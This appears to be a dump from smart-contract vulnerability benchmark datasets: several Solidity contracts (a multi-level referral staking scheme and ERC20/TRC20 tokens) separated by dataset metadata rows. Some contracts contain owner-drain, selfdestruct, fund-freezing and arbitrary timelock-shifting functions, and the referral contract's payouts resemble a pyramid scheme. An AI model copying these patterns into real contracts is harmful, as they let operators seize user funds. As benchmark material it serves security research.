amount = user.sunReward.add(user.singleReward);
}
function setPoolAddress(address _fil,address _seFee,address _recovery)public{
require(msg.sender==manager,"Ping:No permit");
fil = _fil;
seFee = _seFee;
recovery = _recovery;
}
function setFirstAccount(address _recommend,address _customer) public{
require(msg.sender==manager,"Ping:No permit");
User storage user = userInfo[_customer];
User storage reco = userInfo[_recommend];
reco.members.push(_customer);
reco.subordinate = _customer;
user.recommend = _recommend;
userSum.push(_recommend);
userSum.push(_customer);
}
function getUserRecommend(address _customer) public view returns(address _reco){
User storage user = userInfo[_customer];
_reco = user.recommend;
}
function provide(address _recommend,address _customer,uint256 _amount) public{
require(_customer!=address(0) && _amount>=100e8,"Ping:Wrong address and amount");
User storage user = userInfo[_customer];
if(getUserRecommend(_customer)==address(0)){
require(_recommend != address(0),"Ping:Zero code");
User storage reco = userInfo[_recommend];
require(reco.recommend!=address(0),"Ping:Recommend code wrong");
reco.members.push(_customer);
user.recommend = _recommend;
address _last = userSum[userSum.length-1];
User storage last = userInfo[_last];
require(last.subordinate==address(0),"Ping:Only one subordinate");
user.recommendSingle = _last;
last.subordinate = _customer;
userSum.push(_customer);
}
//require(user.recommend != address(0),"Ping:Zero code");
require(IERC20(fil).transferFrom(_customer, address(this), _amount),"Ping:TransferFrom failed");
totalStake = totalStake.add(_amount);
user.stakeFil = user.stakeFil.add(_amount);
updateMyLevel(_customer);
updateLeaderLevel(_customer);
uint256 preSingle = _amount.mul(40).div(4000);
uint256 befor = _amount.mul(10).div(100);
updateRecommendUp10Info(_customer, preSingle);//1.125
updateRecommendDown30Info(_customer, preSingle);//1.125
updateRecommend9Info(_customer,_amount);//100
//outSystem(befor);
sendFee(befor);
}
function sendFee(uint256 _amount)internal{
require(IERC20(fil).transfer(recovery, _amount),"Ping:Transfer failed");
}
function updateRecommend9Info(address _customer,uint256 _amount) internal{
User storage user = userInfo[_customer];
address _loop = user.recommend;
for(uint i=0; i<9; i++){
User storage loop = userInfo[_loop];
if(i==0){
loop.recommendFil = loop.recommendFil.add(_amount.mul(20).div(100));
loop.sunReward = loop.sunReward.add(_amount.mul(20).div(100));
_loop = loop.recommend;
}else if(i==1){
loop.recommendFil = loop.recommendFil.add(_amount.mul(10).div(100));
loop.sunReward = loop.sunReward.add(_amount.mul(10).div(100));
_loop = loop.recommend;
}else if(i>=2 && i<=4){
loop.recommendFil = loop.recommendFil.add(_amount.mul(3).div(100));
loop.sunReward = loop.sunReward.add(_amount.mul(3).div(100));
_loop = loop.recommend;
}else if(i>4 && i<8 && loop.members.length>=5){
loop.recommendFil = loop.recommendFil.add(_amount.mul(2).div(100));
loop.sunReward = loop.sunReward.add(_amount.mul(2).div(100));
_loop = loop.recommend;
}else if(i>7 && i<9 && loop.members.length>=10){
loop.recommendFil = loop.recommendFil.add(_amount.mul(10).div(100));
loop.sunReward = loop.sunReward.add(_amount.mul(10).div(100));
_loop = loop.recommend;
}else{
_loop = loop.recommend;
}
}
}
//0-1 1-2 2-3 3-4 4-5 5-6 6-7 7-8 8-9 9-10 10-11 11-12 12-13 13-14 14-15
function updateRecommendUp10Info(address _customer,uint256 _amount) internal{
User storage user = userInfo[_customer];
address _loop = user.recommendSingle;
for(uint i=0; i<10; i++){
if(_loop !=address(0)){
User storage loop = userInfo[_loop];
loop.recommendFil = loop.recommendFil.add(_amount);
loop.singleReward = loop.singleReward.add(_amount);
_loop = loop.recommendSingle;
}
}
}
function updateRecommendDown30Info(address _customer,uint256 _amount) internal{
User storage user = userInfo[_customer];
address _loop = user.subordinate;
for(uint i=0; i<30; i++){
if(_loop !=address(0)){
User storage loop = userInfo[_loop];
loop.recommendFil = loop.recommendFil.add(_amount);
loop.singleReward = loop.singleReward.add(_amount);
_loop = loop.subordinate;
}
}
}
function updateMyLevel(address _customer) internal{
User storage user = userInfo[_customer];
if(user.stakeFil>=100e8 && user.level<1){
user.level = 1;
}
if(user.stakeFil>=500e8 && user.level<2){
user.level = 2;
}
if(user.stakeFil>=1000e8 && user.level<3){
user.level = 3;
}
if(user.stakeFil>=2000e8 && user.level<4){
user.level = 4;
}
if(user.stakeFil>=5000e8 && user.level<5){
user.level = 5;
}
if(user.stakeFil>=10000e8 && user.level<6){
user.level = 6;
}
}
function updateLeaderLevel(address _customer) internal{
User storage me = userInfo[_customer];
User storage user = userInfo[me.recommend];
if(user.stakeFil>=100e8 && user.level<1){
user.level = 1;
}
if(user.stakeFil>=500e8 && user.level<2){
user.level = 2;
}
if(user.stakeFil>=1000e8 && user.level<3){
user.level = 3;
}
if(user.stakeFil>=2000e8 && user.level<4){
user.level = 4;
}
if(user.stakeFil>=5000e8 && user.level<5){
user.level = 5;
}
if(user.stakeFil>=10000e8 && user.level<6){
user.level = 6;
}
}
function getWithdrawInfo(address _customer,uint256 _amount) public view returns(uint256 _tru,uint256 _pro){
User storage user = userInfo[_customer];
if(user.level>=1){
_tru = _amount.mul(rate[user.level]).div(100);
_pro = _amount.sub(_amount.mul(rate[user.level].add(18)).div(100));
}else{
_tru = 0;
_pro = 0;
}
}
function withdraw(address _customer,uint256 _amount) public{
require(_customer!=address(0) && _amount>=100e8,"Ping:Wrong address and amount");
User storage user = userInfo[_customer];
require(_amount <= user.recommendFil,"Ping:Asset not enough");
require(user.level>=1,"Ping:No withdraw permit");
require(IERC20(fil).transfer(recovery,_amount.mul(10).div(100)),"Ping:Transfer failed");
require(IERC20(fil).transfer(seFee,_amount.mul(8).div(100)),"Ping:Transfer failed");
require(rate[user.level]>0,"Ping:Rate is Wrong");
uint256 _with = _amount.mul(rate[user.level]).div(100);
require(IERC20(fil).transfer(_customer,_with),"Ping:Transfer failed");
user.recommendFil = user.recommendFil.sub(_amount);
user.myWith = user.myWith.add(_with);
uint256 _total = _amount.mul(rate[user.level].add(18)).div(100);
uint256 _surplus = _amount.sub(_total);
uint256 preSingle = _surplus.mul(50).div(4000);
totalStake = totalStake.add(_surplus);
totalWith = totalWith.add(_with);
user.stakeFil = user.stakeFil.add(_surplus);
updateMyLevel(_customer);
updateRecommendDown30Info(_customer, preSingle);
updateRecommendUp10Info(_customer, preSingle);
updateRecommend9Info(_customer, _surplus);
}
function getTotalAmount() public view returns(uint256 _stake,uint256 _with,uint256 _leng){
_leng = userSum.length;
_stake = totalStake;
_with = totalWith;
}
function pingData40(address _customer) public view returns(address[40] memory _u,uint256[40] memory _a){
User storage user = userInfo[_customer];
address _loop = user.recommendSingle;
for(uint i = 0; i<40; i++){
if(_loop != address(0)){
User storage loop = userInfo[_loop];
_u[i] = _loop;
_a[i] = loop.stakeFil;
_loop = loop.recommendSingle;
}
}
}
function pingDate60(address _customer) public view returns(address[60] memory _u,uint256[60] memory _a){
User storage user = userInfo[_customer];
address _loop = user.subordinate;
for(uint i = 0; i<60; i++){
if(_loop != address(0)){
User storage loop = userInfo[_loop];
_u[i] = _loop;
_a[i] = loop.stakeFil;
_loop = loop.subordinate;
}
}
}
function managerWithdraw(uint256 _amount) public{
require(msg.sender==manager,"Ping:No permit");
require(IERC20(fil).transfer(manager,_amount),"Ping:Transfer failed");
}
}
| 252,170 | 13,241 |
c88e5d2d426b7d3f3adb5cc31419c161bfa8d6b2a6b8e9b8a342f88ab2352172
| 11,482 |
.sol
|
Solidity
| false |
287517600
|
renardbebe/Smart-Contract-Benchmark-Suites
|
a071ccd7c5089dcaca45c4bc1479c20a5dcf78bc
|
dataset/UR/0x860a8c64cbc7f9aac11428ef8df989f5770cda60.sol
| 2,857 | 10,916 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract ERC20 {
uint256 public totalSupply;
function balanceOf(address _who) public view returns (uint256);
function allowance(address _owner, address _spender) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Burn(address indexed from, uint256 value);
}
contract owned {
address public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
}
contract StandardToken is ERC20, owned {
using SafeMath for uint256;
uint256 internal oneToken;
mapping (address => uint256) availableBalances;
mapping (address => uint256) frozeBalances;
mapping (address => mapping (address => uint256)) internal allowedBalances;
mapping (address => bool) internal frozenAccounts;
event FrozenAccount(address target, bool frozen);
event FrozenAmount(address target, bool frozen, uint256 amount);
event FrozenTransfer(address indexed from, address indexed to, uint256 value, bool _freeze);
function transferOwner(address _newOwner) public onlyOwner {
require(_newOwner != address(0), "Owner address can not be zero");
require(_newOwner != owner, "Same address of owner.");
require(!frozenAccounts[_newOwner], "The address has been frozen");
owner = _newOwner;
}
function destoryContract(address _recipient) external onlyOwner {
selfdestruct(_recipient);
}
function transferEtherToOwner(uint256 _amount) public onlyOwner {
require(_amount >0, "Amount must be greater than zero");
require(address(this).balance > _amount, "Ether balance not enough");
owner.transfer(_amount);
}
function depositEtherToContract() public payable {
}
function transferTokenToOwner(uint256 _amount) public onlyOwner returns (uint256) {
require(_amount > 0, "Amount must be greater than zero");
require(availableBalances[this] >= _amount, "Available balance not enough");
availableBalances[owner] = availableBalances[owner].add(_amount);
availableBalances[this] = availableBalances[this].sub(_amount);
emit Transfer(this, owner, _amount);
emit FrozenTransfer(this, owner, _amount, false);
return _amount;
}
function freezeAccount(address _target, bool _freeze) public onlyOwner {
require(_target != address(0), "Freeze account can not be zero");
require(_target != owner, "Freeze account can not equals to owner");
frozenAccounts[_target] = _freeze;
emit FrozenAccount(_target, _freeze);
}
function frozenAccount(address _target) public view returns (bool) {
return frozenAccounts[_target];
}
function freezeFundsFrom(address _target, bool _freeze, uint256 _amount) public onlyOwner {
require(_target != address(0), "The account can not be zero");
require(_target != owner, "The account can not equals to owner");
require(_amount > 0, "Amount must be greater than zero");
if (_freeze) {
require(availableBalances[_target] >= _amount, "Available balance not enough");
availableBalances[_target] = availableBalances[_target].sub(_amount);
frozeBalances[_target] = frozeBalances[_target].add(_amount);
} else {
require(frozeBalances[_target] >= _amount, "Frozen balance not enough");
availableBalances[_target] = availableBalances[_target].add(_amount);
frozeBalances[_target] = frozeBalances[_target].sub(_amount);
}
emit FrozenAmount(_target, _freeze, _amount);
}
function freezeFunds(uint256 _amount) public returns (bool) {
require(msg.sender != owner, "The account can not equals to owner");
require(!frozenAccounts[msg.sender], "Account of message sender has been frozen");
require(_amount > 0, "Amount must be greater than zero");
require(availableBalances[msg.sender] >= _amount, "Available balance not enough");
availableBalances[msg.sender] = availableBalances[msg.sender].sub(_amount);
frozeBalances[msg.sender] = frozeBalances[msg.sender].add(_amount);
emit FrozenAmount(msg.sender, true, _amount);
return true;
}
function balanceOfFrozen(address _owner) public view returns (uint256) {
return frozeBalances[_owner];
}
function balanceOfAvailable(address _owner) public view returns (uint256) {
return availableBalances[_owner];
}
function balanceOf(address _owner) public view returns (uint256) {
return availableBalances[_owner]+frozeBalances[_owner];
}
function allowance(address _owner, address _spender) public view returns (uint256){
return allowedBalances[_owner][_spender];
}
function increaseSupply(address _to, uint256 _amount, bool _freeze) public onlyOwner returns (bool) {
require(_to != address(0), "Account can not be zero.");
totalSupply = totalSupply.add(_amount);
if (_freeze) {
frozeBalances[_to] = frozeBalances[_to].add(_amount);
emit Transfer(0, _to, _amount);
emit FrozenTransfer(0, _to, _amount, true);
return true;
} else {
availableBalances[_to] = availableBalances[_to].add(_amount);
emit Transfer(0, _to, _amount);
emit FrozenTransfer(0, _to, _amount, false);
return true;
}
}
function transfer(address _to, uint256 _amount) public returns (bool) {
require(_to != address(0), "Transfer account can not be zeros");
require(!frozenAccounts[msg.sender], "Account of message sender has been frozen");
require(_amount > 0, "Amount must be greater than zero");
require(availableBalances[msg.sender] >= _amount, "Available balance not enough");
availableBalances[msg.sender] = availableBalances[msg.sender].sub(_amount);
availableBalances[_to] = availableBalances[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
emit FrozenTransfer(msg.sender, _to, _amount, false);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) public returns (bool){
require(_from != address(0), "Transfer account can not be zero");
require(_to != address(0), "Transfer account can not be zero");
require(!frozenAccounts[_from], "Transfer account has been frozen");
require(!frozenAccounts[msg.sender], "Spender account has been frozen");
require(_amount > 0, "Amount must be greater than zero");
require(availableBalances[_from] >= _amount, "Available balance not enough");
require(allowedBalances[_from][msg.sender] >= _amount, "Allowed balance not enough");
availableBalances[_from] = availableBalances[_from].sub(_amount);
availableBalances[_to] = availableBalances[_to].add(_amount);
allowedBalances[_from][msg.sender] = allowedBalances[_from][msg.sender].sub(_amount);
emit Transfer(_from, _to, _amount);
emit FrozenTransfer(_from, _to, _amount, false);
return true;
}
function approve(address _spender, uint256 _amount) public returns (bool) {
require(_spender != address(0), "Spender account can not be zero");
require(_amount >= 0, "Amount can not less than zero");
allowedBalances[msg.sender][_spender] = _amount;
emit Approval(msg.sender, _spender, _amount);
return true;
}
function increaseApproval(address _spender, uint256 _amount) public returns (bool) {
require(_spender != address(0), "Spender account can not be zero");
require(_amount > 0, "Amount must be greater than zero");
allowedBalances[msg.sender][_spender] = allowedBalances[msg.sender][_spender].add(_amount);
emit Approval(msg.sender, _spender, allowedBalances[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint256 _amount) public returns (bool) {
require(_spender != address(0), "Spender account can not be zero");
require(_amount > 0, "Amount must be greater than zero");
require(allowedBalances[msg.sender][_spender] >= _amount, "Allowed balance not enough");
allowedBalances[msg.sender][_spender] = allowedBalances[msg.sender][_spender].sub(_amount);
emit Approval(msg.sender, _spender, allowedBalances[msg.sender][_spender]);
return true;
}
function burn(uint256 _amount) public returns (bool success) {
require(!frozenAccounts[msg.sender], "Transfer account has bee frozen");
require(_amount > 0, "Amount must be greater than zero");
require(availableBalances[msg.sender] >= _amount, "Available balance not enough");
availableBalances[msg.sender] = availableBalances[msg.sender].sub(_amount);
totalSupply = totalSupply.sub(_amount);
emit Burn(msg.sender, _amount);
return true;
}
function burnFrom(address _from, uint256 _amount) public returns (bool success) {
require(_from != address(0), "Transfer account can not be zero");
require(!frozenAccounts[msg.sender], "Spender account has bee frozen");
require(!frozenAccounts[_from], "Transfer account has bee frozen");
require(_amount > 0, "Amount must be greater than zero");
require(availableBalances[_from] >= _amount, "Available balance not enough");
require(allowedBalances[_from][msg.sender] >= _amount, "Allowed balance not enough");
availableBalances[_from] = availableBalances[_from].sub(_amount);
allowedBalances[_from][msg.sender] = allowedBalances[_from][msg.sender].sub(_amount);
totalSupply = totalSupply.sub(_amount);
emit Burn(_from, _amount);
return true;
}
}
contract SEC is StandardToken {
string public name = "SEC";
string public symbol = "SEC";
uint8 constant public decimals = 18;
uint256 constant public initialSupply = 90000000;
constructor() public {
oneToken = 10 ** uint256(decimals);
totalSupply = initialSupply * oneToken;
availableBalances[msg.sender] = totalSupply;
emit Transfer(address(0), msg.sender, totalSupply);
emit FrozenTransfer(address(0), msg.sender, totalSupply, false);
}
}
| 164,926 | 13,242 |
c9e6bb5769df23abfeed29dd33dc83747c4e1e01456758b089aa81d3c8ff9f1e
| 13,688 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x209e7fab24019b29c60cc3ba24f55f3accd604bd.sol
| 3,661 | 13,514 |
pragma solidity ^0.4.24;
// SafeMath methods
library SafeMath {
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
assert(c >= _a);
return c;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_a >= _b);
return _a - _b;
}
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a * _b;
assert(_a == 0 || c / _a == _b);
return c;
}
}
// Contract must have an owner
contract Owned {
address public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function setOwner(address _owner) onlyOwner public {
owner = _owner;
}
}
// Standard ERC20 Token Interface
interface ERC20Token {
function name() external view returns (string name_);
function symbol() external view returns (string symbol_);
function decimals() external view returns (uint8 decimals_);
function totalSupply() external view returns (uint256 totalSupply_);
function balanceOf(address _owner) external view returns (uint256 _balance);
function transfer(address _to, uint256 _value) external returns (bool _success);
function transferFrom(address _from, address _to, uint256 _value) external returns (bool _success);
function approve(address _spender, uint256 _value) external returns (bool _success);
function allowance(address _owner, address _spender) external view returns (uint256 _remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
// the main ERC20-compliant multi-timelock enabled contract
contract HPTST is Owned, ERC20Token {
using SafeMath for uint256;
string private constant standard = "20181019";
string private constant version = "5.0";
string private name_ = "HAPPY Test";
string private symbol_ = "HPTST";
uint8 private decimals_ = 18;
uint256 private totalSupply_ = uint256(10)**uint256(13) * uint256(10)**uint256(decimals_);
mapping (address => uint256) private balanceP;
mapping (address => mapping (address => uint256)) private allowed;
mapping (address => uint256[]) private lockTime;
mapping (address => uint256[]) private lockValue;
mapping (address => uint256) private lockNum;
uint256 private later = 0;
uint256 private earlier = 0;
// burn token event
event Burn(address indexed _from, uint256 _value);
// timelock-related events
event TransferLocked(address indexed _from, address indexed _to, uint256 _time, uint256 _value);
event TokenUnlocked(address indexed _address, uint256 _value);
// safety method-related events
event WrongTokenEmptied(address indexed _token, address indexed _addr, uint256 _amount);
event WrongEtherEmptied(address indexed _addr, uint256 _amount);
// constructor for the ERC20 Token
constructor() public {
balanceP[msg.sender] = totalSupply_;
}
modifier validAddress(address _address) {
require(_address != 0x0);
_;
}
// fast-forward the timelocks for all accounts
function setUnlockEarlier(uint256 _earlier) public onlyOwner {
earlier = earlier.add(_earlier);
}
// delay the timelocks for all accounts
function setUnlockLater(uint256 _later) public onlyOwner {
later = later.add(_later);
}
// standard ERC20 name function
function name() public view returns (string) {
return name_;
}
// standard ERC20 symbol function
function symbol() public view returns (string) {
return symbol_;
}
// standard ERC20 decimals function
function decimals() public view returns (uint8) {
return decimals_;
}
// standard ERC20 totalSupply function
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
// standard ERC20 allowance function
function allowance(address _owner, address _spender) external view returns (uint256) {
return allowed[_owner][_spender];
}
// show unlocked balance of an account
function balanceUnlocked(address _address) public view returns (uint256 _balance) {
_balance = balanceP[_address];
uint256 i = 0;
while (i < lockNum[_address]) {
if (now.add(earlier) >= lockTime[_address][i].add(later)) _balance = _balance.add(lockValue[_address][i]);
i++;
}
return _balance;
}
// show timelocked balance of an account
function balanceLocked(address _address) public view returns (uint256 _balance) {
_balance = 0;
uint256 i = 0;
while (i < lockNum[_address]) {
if (now.add(earlier) < lockTime[_address][i].add(later)) _balance = _balance.add(lockValue[_address][i]);
i++;
}
return _balance;
}
// standard ERC20 balanceOf with timelock added
function balanceOf(address _address) public view returns (uint256 _balance) {
_balance = balanceP[_address];
uint256 i = 0;
while (i < lockNum[_address]) {
_balance = _balance.add(lockValue[_address][i]);
i++;
}
return _balance;
}
// show timelocks in an account
function showLockTimes(address _address) public view validAddress(_address) returns (uint256[] _times) {
uint i = 0;
uint256[] memory tempLockTime = new uint256[](lockNum[_address]);
while (i < lockNum[_address]) {
tempLockTime[i] = lockTime[_address][i].add(later).sub(earlier);
i++;
}
return tempLockTime;
}
// show values locked in an account's timelocks
function showLockValues(address _address) public view validAddress(_address) returns (uint256[] _values) {
return lockValue[_address];
}
function showLockNum(address _address) public view validAddress(_address) returns (uint256 _lockNum) {
return lockNum[_address];
}
// Calculate and process the timelock states of an account
function calcUnlock(address _address) private {
uint256 i = 0;
uint256 j = 0;
uint256[] memory currentLockTime;
uint256[] memory currentLockValue;
uint256[] memory newLockTime = new uint256[](lockNum[_address]);
uint256[] memory newLockValue = new uint256[](lockNum[_address]);
currentLockTime = lockTime[_address];
currentLockValue = lockValue[_address];
while (i < lockNum[_address]) {
if (now.add(earlier) >= currentLockTime[i].add(later)) {
balanceP[_address] = balanceP[_address].add(currentLockValue[i]);
emit TokenUnlocked(_address, currentLockValue[i]);
} else {
newLockTime[j] = currentLockTime[i];
newLockValue[j] = currentLockValue[i];
j++;
}
i++;
}
uint256[] memory trimLockTime = new uint256[](j);
uint256[] memory trimLockValue = new uint256[](j);
i = 0;
while (i < j) {
trimLockTime[i] = newLockTime[i];
trimLockValue[i] = newLockValue[i];
i++;
}
lockTime[_address] = trimLockTime;
lockValue[_address] = trimLockValue;
lockNum[_address] = j;
}
// standard ERC20 transfer
function transfer(address _to, uint256 _value) public validAddress(_to) returns (bool _success) {
if (lockNum[msg.sender] > 0) calcUnlock(msg.sender);
require(balanceP[msg.sender] >= _value && _value >= 0);
balanceP[msg.sender] = balanceP[msg.sender].sub(_value);
balanceP[_to] = balanceP[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
// transfer Token with timelocks
function transferLocked(address _to, uint256[] _time, uint256[] _value) public validAddress(_to) returns (bool _success) {
require(_value.length == _time.length);
if (lockNum[msg.sender] > 0) calcUnlock(msg.sender);
uint256 i = 0;
uint256 totalValue = 0;
while (i < _value.length) {
totalValue = totalValue.add(_value[i]);
i++;
}
require(balanceP[msg.sender] >= totalValue && totalValue >= 0);
require(lockNum[_to].add(_time.length) <= 42);
i = 0;
while (i < _time.length) {
if (_value[i] > 0) {
balanceP[msg.sender] = balanceP[msg.sender].sub(_value[i]);
lockTime[_to].length = lockNum[_to]+1;
lockValue[_to].length = lockNum[_to]+1;
lockTime[_to][lockNum[_to]] = now.add(_time[i]).add(earlier).sub(later);
lockValue[_to][lockNum[_to]] = _value[i];
lockNum[_to]++;
}
// emit custom TransferLocked event
emit TransferLocked(msg.sender, _to, _time[i], _value[i]);
// emit standard Transfer event for wallets
emit Transfer(msg.sender, _to, _value[i]);
i++;
}
return true;
}
// TransferFrom Token with timelocks
function transferLockedFrom(address _from, address _to, uint256[] _time, uint256[] _value) public
validAddress(_from) validAddress(_to) returns (bool success) {
require(_value.length == _time.length);
if (lockNum[_from] > 0) calcUnlock(_from);
uint256 i = 0;
uint256 totalValue = 0;
while (i < _value.length) {
totalValue = totalValue.add(_value[i]);
i++;
}
require(balanceP[_from] >= totalValue && totalValue >= 0 && allowed[_from][msg.sender] >= totalValue);
require(lockNum[_to].add(_time.length) <= 42);
i = 0;
while (i < _time.length) {
if (_value[i] > 0) {
balanceP[_from] = balanceP[_from].sub(_value[i]);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value[i]);
lockTime[_to].length = lockNum[_to]+1;
lockValue[_to].length = lockNum[_to]+1;
lockTime[_to][lockNum[_to]] = now.add(_time[i]).add(earlier).sub(later);
lockValue[_to][lockNum[_to]] = _value[i];
lockNum[_to]++;
}
// emit custom TransferLocked event
emit TransferLocked(_from, _to, _time[i], _value[i]);
// emit standard Transfer event for wallets
emit Transfer(_from, _to, _value[i]);
i++;
}
return true;
}
// standard ERC20 transferFrom
function transferFrom(address _from, address _to, uint256 _value) public validAddress(_from) validAddress(_to) returns (bool _success) {
if (lockNum[_from] > 0) calcUnlock(_from);
require(balanceP[_from] >= _value && _value >= 0 && allowed[_from][msg.sender] >= _value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
balanceP[_from] = balanceP[_from].sub(_value);
balanceP[_to] = balanceP[_to].add(_value);
emit Transfer(_from, _to, _value);
return true;
}
// should only be called when first setting an allowed
function approve(address _spender, uint256 _value) public validAddress(_spender) returns (bool _success) {
if (lockNum[msg.sender] > 0) calcUnlock(msg.sender);
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
// increase or decrease allowed
function increaseApproval(address _spender, uint _value) public validAddress(_spender) returns (bool _success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_value);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _value) public validAddress(_spender) returns (bool _success) {
if(_value >= allowed[msg.sender][_spender]) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].sub(_value);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
// owner may burn own token
function burn(uint256 _value) public onlyOwner returns (bool _success) {
if (lockNum[msg.sender] > 0) calcUnlock(msg.sender);
require(balanceP[msg.sender] >= _value && _value >= 0);
balanceP[msg.sender] = balanceP[msg.sender].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(msg.sender, _value);
return true;
}
// safety methods
function () public payable {
revert();
}
function emptyWrongToken(address _addr) onlyOwner public {
ERC20Token wrongToken = ERC20Token(_addr);
uint256 amount = wrongToken.balanceOf(address(this));
require(amount > 0);
require(wrongToken.transfer(msg.sender, amount));
emit WrongTokenEmptied(_addr, msg.sender, amount);
}
// shouldn't happen, just in case
function emptyWrongEther() onlyOwner public {
uint256 amount = address(this).balance;
require(amount > 0);
msg.sender.transfer(amount);
emit WrongEtherEmptied(msg.sender, amount);
}
}
| 193,419 | 13,243 |
e7522e5f5471212f4b10b97d03acbcd8453af234dc44323aa8f5a34e0769d978
| 28,733 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TC/TCdNGr9g4xdcaDLh5aws9NKpY96JS1QFNb_UsdtTokenPool.sol
| 4,090 | 15,778 |
//SourceUnit: jichu.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
library Math {
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface TRC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(TRC20 token, address to, uint256 value) internal {
